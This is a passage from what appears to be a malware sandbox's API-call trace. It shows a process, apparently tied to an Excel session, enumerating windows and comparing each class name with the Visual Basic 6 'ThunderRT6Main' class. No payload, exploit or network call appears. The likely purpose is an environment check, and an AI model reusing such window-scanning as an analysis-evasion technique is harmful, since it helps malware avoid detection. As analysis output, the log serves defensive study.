returned 213909504 [0118.740] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0118.740] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0118.740] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0118.740] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0118.740] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0118.740] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.740] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0118.740] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0118.740] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0118.740] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0118.740] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0118.740] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0118.740] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.740] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0118.740] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0118.740] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0118.740] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0118.740] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.740] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.740] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.740] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0118.741] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0118.741] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0118.741] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0118.741] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.741] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.741] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.741] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0118.741] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0118.741] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0118.741] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0118.741] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.741] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.741] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.741] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0118.741] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0118.741] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0118.741] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0118.741] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0118.741] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0118.741] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.741] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0118.741] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0118.741] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0118.741] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0118.741] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0118.742] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0118.742] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.742] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0118.742] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0118.742] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0118.742] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0118.742] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0118.742] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0118.742] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0118.742] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0118.742] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0118.742] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0118.742] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.742] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0118.742] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0118.742] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0118.742] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0118.742] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.742] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.742] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0118.742] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0118.742] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0118.742] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0118.742] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0118.742] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0118.742] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0118.742] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0118.742] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0118.743] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0118.743] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0118.743] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.743] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.743] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0118.743] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0118.743] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0118.743] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0118.743] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0118.743] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0118.743] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.743] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.743] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0118.743] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0118.743] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0118.743] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0118.743] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0118.743] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0118.743] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.743] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.744] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0118.744] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0118.744] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0118.744] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0118.744] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0118.744] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0118.744] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.744] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.744] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0118.744] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0118.744] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0118.744] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0118.744] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0118.744] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0118.744] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0118.744] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0118.744] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0118.744] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0118.744] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.744] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.744] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0118.744] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0118.745] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0118.745] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0118.745] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0118.745] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0118.745] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.745] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.745] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0118.745] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0118.745] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0118.745] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0118.745] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0118.745] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0118.745] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.745] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.745] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0118.745] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0118.745] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0118.745] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0118.745] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0118.745] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0118.745] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.746] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.746] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0118.746] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0118.746] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0118.746] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0118.746] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0118.746] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0118.746] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.746] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.746] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0118.746] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0118.746] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0118.746] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0118.746] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0118.746] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0118.746] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.746] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.746] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0118.746] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0118.746] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0118.746] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0118.747] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0118.747] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0118.747] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.747] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.747] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0118.747] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0118.747] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0118.747] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0118.747] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0118.747] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0118.747] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.747] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.747] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0118.747] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0118.747] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0118.747] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0118.747] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0118.747] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0118.747] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.747] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.747] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0118.747] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0118.747] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0118.747] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0118.748] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0118.748] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.748] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0118.748] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0118.748] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0118.748] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0118.748] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0118.748] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.748] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0118.748] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0118.748] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0118.748] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0118.748] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0118.748] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.748] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0118.748] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0118.748] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0118.748] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0118.748] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0118.748] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.748] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0118.748] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0118.748] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0118.748] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0118.748] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0118.749] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0118.749] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.749] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0118.749] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0118.749] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0118.749] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0118.749] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0118.749] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.749] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0118.749] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0118.749] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0118.749] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0118.749] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0118.749] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.749] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0118.749] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0118.749] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0118.749] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0118.749] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0118.749] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.749] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0118.749] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0118.749] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0118.749] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0118.749] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0118.750] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0118.750] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.750] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.750] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0118.750] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0118.750] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0118.750] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0118.750] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0118.750] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0118.750] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0118.750] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0118.750] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0118.750] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0118.750] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0118.750] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0118.759] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0118.759] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0118.759] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0118.759] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0118.759] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0118.759] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, 